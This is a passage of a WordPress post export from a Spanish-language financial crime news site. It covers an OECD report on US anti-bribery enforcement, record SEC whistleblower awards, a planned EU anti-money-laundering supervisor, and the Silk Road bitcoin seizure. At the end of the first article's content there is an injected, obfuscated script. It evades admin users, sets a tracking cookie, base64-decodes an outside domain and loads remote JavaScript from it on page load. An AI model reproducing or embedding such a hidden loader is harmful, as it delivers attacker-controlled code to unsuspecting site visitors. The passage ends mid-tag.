FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, 